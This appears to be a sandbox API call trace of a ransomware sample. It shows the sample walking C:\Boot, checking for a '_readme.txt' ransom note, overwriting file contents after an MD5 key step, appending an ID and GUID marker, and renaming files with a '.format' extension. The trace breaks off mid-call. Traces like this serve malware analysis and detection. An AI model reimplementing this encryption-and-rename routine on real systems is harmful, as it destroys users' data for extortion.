1 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.698] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.698] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.698] PathFindFileNameW (pszPath="") returned="" [0066.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.698] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.698] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.698] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3247f78 [0066.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.699] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3247f78 [0066.699] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0066.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.699] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 1 [0066.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.699] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb311b7f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb311b7f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.699] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb311b7f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb311b7f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.699] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0066.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.699] PathFindExtensionW (pszPath="C:\\Boot\\BCD") returned="" [0066.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.699] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0066.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.699] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG") returned=".LOG" [0066.699] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.700] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0066.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183078 [0066.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.700] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG1") returned=".LOG1" [0066.700] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0066.700] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=0) returned 1 [0066.700] CloseHandle (hObject=0x5c8) returned 1 [0066.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183040 [0066.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183040 | out: hHeap=0x5d0000) returned 1 [0066.700] MoveFileW (lpExistingFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="C:\\Boot\\BCD.LOG1.format" (normalized: "c:\\boot\\bcd.log1.format")) returned 1 [0066.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183078 | out: hHeap=0x5d0000) returned 1 [0066.701] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0066.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183078 [0066.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.701] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG2") returned=".LOG2" [0066.701] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0066.701] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=0) returned 1 [0066.701] CloseHandle (hObject=0x5c8) returned 1 [0066.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183040 [0066.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.702] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183040 | out: hHeap=0x5d0000) returned 1 [0066.702] MoveFileW (lpExistingFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="C:\\Boot\\BCD.LOG2.format" (normalized: "c:\\boot\\bcd.log2.format")) returned 1 [0066.704] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.704] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183078 | out: hHeap=0x5d0000) returned 1 [0066.704] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0066.704] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.704] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183078 [0066.704] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.704] PathFindExtensionW (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned=".DAT" [0066.704] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0066.705] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=65536) returned 1 [0066.705] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0066.707] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xffda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.707] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0066.709] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.709] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x10000, lpOverlapped=0x0) returned 1 [0066.709] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.709] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0066.709] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.709] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.709] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0066.711] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0066.711] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0066.711] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0066.711] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0066.711] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0066.711] GetLastError () returned 0x0 [0066.711] SetLastError (dwErrCode=0x0) [0066.711] GetLastError () returned 0x0 [0066.711] SetLastError (dwErrCode=0x0) [0066.711] GetLastError () returned 0x0 [0066.711] SetLastError (dwErrCode=0x0) [0066.711] GetLastError () returned 0x0 [0066.711] SetLastError (dwErrCode=0x0) [0066.711] GetLastError () returned 0x0 [0066.711] SetLastError (dwErrCode=0x0) [0066.711] GetLastError () returned 0x0 [0066.711] SetLastError (dwErrCode=0x0) [0066.711] GetLastError () returned 0x0 [0066.711] SetLastError (dwErrCode=0x0) [0066.711] GetLastError () returned 0x0 [0066.711] SetLastError (dwErrCode=0x0) [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.712] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.712] GetLastError () returned 0x0 [0066.712] SetLastError (dwErrCode=0x0) [0066.713] GetLastError () returned 0x0 [0066.713] SetLastError (dwErrCode=0x0) [0066.713] GetLastError () returned 0x0 [0066.713] SetLastError (dwErrCode=0x0) [0066.713] GetLastError () returned 0x0 [0066.713] SetLastError (dwErrCode=0x0) [0066.713] GetLastError () returned 0x0 [0066.713] SetLastError (dwErrCode=0x0) [0066.713] GetLastError () returned 0x0 [0066.713] SetLastError (dwErrCode=0x0) [0066.713] GetLastError () returned 0x0 [0066.713] SetLastError (dwErrCode=0x0) [0066.713] GetLastError () returned 0x0 [0066.713] SetLastError (dwErrCode=0x0) [0066.713] GetLastError () returned 0x0 [0066.713] SetLastError (dwErrCode=0x0) [0066.713] GetLastError () returned 0x0 [0066.713] SetLastError (dwErrCode=0x0) [0066.713] GetLastError () returned 0x0 [0066.713] SetLastError (dwErrCode=0x0) [0066.713] GetLastError () returned 0x0 [0066.713] SetLastError (dwErrCode=0x0) [0066.713] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183040 [0066.713] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.713] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31596d0 | out: hHeap=0x5d0000) returned 1 [0066.713] CryptDestroyHash (hHash=0x31befa0) returned 1 [0066.713] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0066.713] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0066.714] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x32b2f40 [0066.715] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0066.715] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183040 | out: hHeap=0x5d0000) returned 1 [0066.715] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xfffb, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xfffb, lpOverlapped=0x0) returned 1 [0066.715] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.715] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.715] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0066.715] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0066.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0066.715] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0066.715] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0066.715] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0066.715] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0066.716] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0066.716] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0066.716] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0066.716] CloseHandle (hObject=0x5c8) returned 1 [0066.717] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183040 [0066.717] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.717] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183040 | out: hHeap=0x5d0000) returned 1 [0066.717] MoveFileW (lpExistingFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="C:\\Boot\\BOOTSTAT.DAT.format" (normalized: "c:\\boot\\bootstat.dat.format")) returned 1 [0066.717] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.717] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.718] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183078 | out: hHeap=0x5d0000) returned 1 [0066.718] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3167ab0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3167ab0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0066.718] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.718] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.718] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x325f7e0 [0066.718] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fec0 [0066.718] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.718] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.719] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, 